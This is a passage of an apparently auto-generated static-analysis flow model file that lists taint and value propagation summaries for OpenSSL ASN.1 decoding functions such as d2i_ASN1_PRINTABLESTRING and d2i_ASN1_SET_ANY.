"(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", 